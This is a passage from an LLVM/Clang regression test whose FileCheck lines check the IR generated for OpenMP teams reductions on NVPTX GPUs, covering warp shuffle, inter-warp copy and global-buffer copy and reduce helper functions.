CHECK6-NEXT: store float 1.000000e+00, float* [[D2]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = load i8, i8* [[C1]], align 4 // CHECK6-NEXT: [[CONV:%.*]] = sext i8 [[TMP4]] to i32 // CHECK6-NEXT: [[XOR:%.*]] = xor i32 [[CONV]], 2 // CHECK6-NEXT: [[CONV3:%.*]] = trunc i32 [[XOR]] to i8 // CHECK6-NEXT: store i8 [[CONV3]], i8* [[C1]], align 4 // CHECK6-NEXT: [[TMP5:%.*]] = load float, float* [[D2]], align 4 // CHECK6-NEXT: [[MUL:%.*]] = fmul float [[TMP5]], 3.300000e+01 // CHECK6-NEXT: store float [[MUL]], float* [[D2]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK6-NEXT: [[TMP7:%.*]] = load i32, i32* [[TMP6]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: store i8* [[C1]], i8** [[TMP8]], align 4 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP10:%.*]] = bitcast float* [[D2]] to i8* // CHECK6-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP12:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK6-NEXT: [[TMP13:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB1]], i32 [[TMP7]], i8* [[TMP12]], i32 2048, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func3, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func4, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func5, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func6, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func7, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func8) // CHECK6-NEXT: [[TMP14:%.*]] = icmp eq i32 [[TMP13]], 1 // CHECK6-NEXT: br i1 [[TMP14]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK6: .omp.reduction.then: // CHECK6-NEXT: [[TMP15:%.*]] = load i8, i8* [[TMP0]], align 1 // CHECK6-NEXT: [[CONV4:%.*]] = sext i8 [[TMP15]] to i32 // CHECK6-NEXT: [[TMP16:%.*]] = load i8, i8* [[C1]], align 4 // CHECK6-NEXT: [[CONV5:%.*]] = sext i8 [[TMP16]] to i32 // CHECK6-NEXT: [[XOR6:%.*]] = xor i32 [[CONV4]], [[CONV5]] // CHECK6-NEXT: [[CONV7:%.*]] = trunc i32 [[XOR6]] to i8 // CHECK6-NEXT: store i8 [[CONV7]], i8* [[TMP0]], align 1 // CHECK6-NEXT: [[TMP17:%.*]] = load float, float* [[TMP1]], align 4 // CHECK6-NEXT: [[TMP18:%.*]] = load float, float* [[D2]], align 4 // CHECK6-NEXT: [[MUL8:%.*]] = fmul float [[TMP17]], [[TMP18]] // CHECK6-NEXT: store float [[MUL8]], float* [[TMP1]], align 4 // CHECK6-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP7]]) // CHECK6-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK6: .omp.reduction.done: // CHECK6-NEXT: call void @__kmpc_data_sharing_pop_stack(i8* [[TMP2]]) // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func3 // CHECK6-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK6-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i8, align 1 // CHECK6-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca float, align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK6-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK6-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK6-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK6-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK6-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK6-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK6-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP12:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK6-NEXT: [[TMP13:%.*]] = load i8, i8* [[TMP10]], align 1 // CHECK6-NEXT: [[TMP14:%.*]] = sext i8 [[TMP13]] to i32 // CHECK6-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP15:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK6-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP14]], i16 [[TMP7]], i16 [[TMP15]]) // CHECK6-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i8 // CHECK6-NEXT: store i8 [[TMP17]], i8* [[DOTOMP_REDUCTION_ELEMENT]], align 1 // CHECK6-NEXT: [[TMP18:%.*]] = getelementptr i8, i8* [[TMP10]], i32 1 // CHECK6-NEXT: [[TMP19:%.*]] = getelementptr i8, i8* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK6-NEXT: store i8* [[DOTOMP_REDUCTION_ELEMENT]], i8** [[TMP11]], align 4 // CHECK6-NEXT: [[TMP20:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK6-NEXT: [[TMP21:%.*]] = load i8*, i8** [[TMP20]], align 4 // CHECK6-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP23:%.*]] = bitcast i8* [[TMP21]] to float* // CHECK6-NEXT: [[TMP24:%.*]] = getelementptr float, float* [[TMP23]], i32 1 // CHECK6-NEXT: [[TMP25:%.*]] = bitcast float* [[TMP24]] to i8* // CHECK6-NEXT: [[TMP26:%.*]] = bitcast float* [[TMP23]] to i32* // CHECK6-NEXT: [[TMP27:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i32* // CHECK6-NEXT: [[TMP28:%.*]] = load i32, i32* [[TMP26]], align 4 // CHECK6-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK6-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK6-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK6-NEXT: store i32 [[TMP30]], i32* [[TMP27]], align 4 // CHECK6-NEXT: [[TMP31:%.*]] = getelementptr i32, i32* [[TMP26]], i32 1 // CHECK6-NEXT: [[TMP32:%.*]] = getelementptr i32, i32* [[TMP27]], i32 1 // CHECK6-NEXT: [[TMP33:%.*]] = bitcast float* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK6-NEXT: store i8* [[TMP33]], i8** [[TMP22]], align 4 // CHECK6-NEXT: [[TMP34:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK6-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK6-NEXT: [[TMP36:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK6-NEXT: [[TMP37:%.*]] = and i1 [[TMP35]], [[TMP36]] // CHECK6-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK6-NEXT: [[TMP39:%.*]] = and i16 [[TMP6]], 1 // CHECK6-NEXT: [[TMP40:%.*]] = icmp eq i16 [[TMP39]], 0 // CHECK6-NEXT: [[TMP41:%.*]] = and i1 [[TMP38]], [[TMP40]] // CHECK6-NEXT: [[TMP42:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK6-NEXT: [[TMP43:%.*]] = and i1 [[TMP41]], [[TMP42]] // CHECK6-NEXT: [[TMP44:%.*]] = or i1 [[TMP34]], [[TMP37]] // CHECK6-NEXT: [[TMP45:%.*]] = or i1 [[TMP44]], [[TMP43]] // CHECK6-NEXT: br i1 [[TMP45]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK6: then: // CHECK6-NEXT: [[TMP46:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK6-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK6-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP46]], i8* [[TMP47]]) #[[ATTR3]] // CHECK6-NEXT: br label [[IFCONT:%.*]] // CHECK6: else: // CHECK6-NEXT: br label [[IFCONT]] // CHECK6: ifcont: // CHECK6-NEXT: [[TMP48:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK6-NEXT: [[TMP49:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK6-NEXT: [[TMP50:%.*]] = and i1 [[TMP48]], [[TMP49]] // CHECK6-NEXT: br i1 [[TMP50]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK6: then6: // CHECK6-NEXT: [[TMP51:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[TMP52:%.*]] = load i8*, i8** [[TMP51]], align 4 // CHECK6-NEXT: [[TMP53:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK6-NEXT: [[TMP54:%.*]] = load i8*, i8** [[TMP53]], align 4 // CHECK6-NEXT: [[TMP55:%.*]] = load i8, i8* [[TMP52]], align 1 // CHECK6-NEXT: store i8 [[TMP55]], i8* [[TMP54]], align 1 // CHECK6-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 4 // CHECK6-NEXT: [[TMP58:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK6-NEXT: [[TMP59:%.*]] = load i8*, i8** [[TMP58]], align 4 // CHECK6-NEXT: [[TMP60:%.*]] = bitcast i8* [[TMP57]] to float* // CHECK6-NEXT: [[TMP61:%.*]] = bitcast i8* [[TMP59]] to float* // CHECK6-NEXT: [[TMP62:%.*]] = load float, float* [[TMP60]], align 4 // CHECK6-NEXT: store float [[TMP62]], float* [[TMP61]], align 4 // CHECK6-NEXT: br label [[IFCONT8:%.*]] // CHECK6: else7: // CHECK6-NEXT: br label [[IFCONT8]] // CHECK6: ifcont8: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func4 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB1]]) // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK6-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK6-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK6-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK6-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK6: then: // CHECK6-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK6-NEXT: [[TMP8:%.*]] = bitcast i32 addrspace(3)* [[TMP7]] to i8 addrspace(3)* // CHECK6-NEXT: [[TMP9:%.*]] = load i8, i8* [[TMP6]], align 1 // CHECK6-NEXT: store volatile i8 [[TMP9]], i8 addrspace(3)* [[TMP8]], align 1 // CHECK6-NEXT: br label [[IFCONT:%.*]] // CHECK6: else: // CHECK6-NEXT: br label [[IFCONT]] // CHECK6: ifcont: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK6-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK6-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK6: then4: // CHECK6-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK6-NEXT: [[TMP12:%.*]] = bitcast i32 addrspace(3)* [[TMP11]] to i8 addrspace(3)* // CHECK6-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK6-NEXT: [[TMP15:%.*]] = load volatile i8, i8 addrspace(3)* [[TMP12]], align 1 // CHECK6-NEXT: store i8 [[TMP15]], i8* [[TMP14]], align 1 // CHECK6-NEXT: br label [[IFCONT6:%.*]] // CHECK6: else5: // CHECK6-NEXT: br label [[IFCONT6]] // CHECK6: ifcont6: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK6-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK6-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK6: then8: // CHECK6-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK6-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i32* // CHECK6-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK6-NEXT: [[TMP20:%.*]] = load i32, i32* [[TMP18]], align 4 // CHECK6-NEXT: store volatile i32 [[TMP20]], i32 addrspace(3)* [[TMP19]], align 4 // CHECK6-NEXT: br label [[IFCONT10:%.*]] // CHECK6: else9: // CHECK6-NEXT: br label [[IFCONT10]] // CHECK6: ifcont10: // CHECK6-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB2]], i32 [[TMP2]]) // CHECK6-NEXT: [[TMP21:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP21]] // CHECK6-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK6: then12: // CHECK6-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK6-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP24:%.*]] = load i8*, i8** [[TMP23]], align 4 // CHECK6-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP24]] to i32* // CHECK6-NEXT: [[TMP26:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP22]], align 4 // CHECK6-NEXT: store i32 [[TMP26]], i32* [[TMP25]], align 4 // CHECK6-NEXT: br label [[IFCONT14:%.*]] // CHECK6: else13: // CHECK6-NEXT: br label [[IFCONT14]] // CHECK6: ifcont14: // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func5 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK6-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.3* // CHECK6-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK6-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 0 // CHECK6-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP9]], align 1 // CHECK6-NEXT: store i8 [[TMP11]], i8* [[TMP10]], align 128 // CHECK6-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK6-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK6-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 1 // CHECK6-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP16:%.*]] = load float, float* [[TMP14]], align 4 // CHECK6-NEXT: store float [[TMP16]], float* [[TMP15]], align 128 // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func6 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.3* // CHECK6-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK6-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 4 // CHECK6-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK6-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP11]], i8* [[TMP12]]) #[[ATTR3]] // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func7 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK6-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.3* // CHECK6-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK6-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 0 // CHECK6-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP11:%.*]] = load i8, i8* [[TMP10]], align 128 // CHECK6-NEXT: store i8 [[TMP11]], i8* [[TMP9]], align 1 // CHECK6-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK6-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK6-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to float* // CHECK6-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP6]], i32 0, i32 1 // CHECK6-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2048 x float], [2048 x float]* [[D]], i32 0, i32 [[TMP7]] // CHECK6-NEXT: [[TMP16:%.*]] = load float, float* [[TMP15]], align 128 // CHECK6-NEXT: store float [[TMP16]], float* [[TMP14]], align 4 // CHECK6-NEXT: ret void // CHECK6-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func8 // CHECK6-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR0]] { // CHECK6-NEXT: entry: // CHECK6-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK6-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK6-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK6-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK6-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK6-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK6-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.3* // CHECK6-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK6-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK6-NEXT: [[C:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3:%.*]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 0 // CHECK6-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i8], [2048 x i8]* [[C]], i32 0, i32 [[TMP5]] // CHECK6-NEXT: store i8* [[TMP7]], i8** [[TMP6]], align 4 // CHECK6-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK6-NEXT: [[D:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_3]], %struct._globalized_locals_ty.3* [[TMP4]], i32 0, i32 1 // 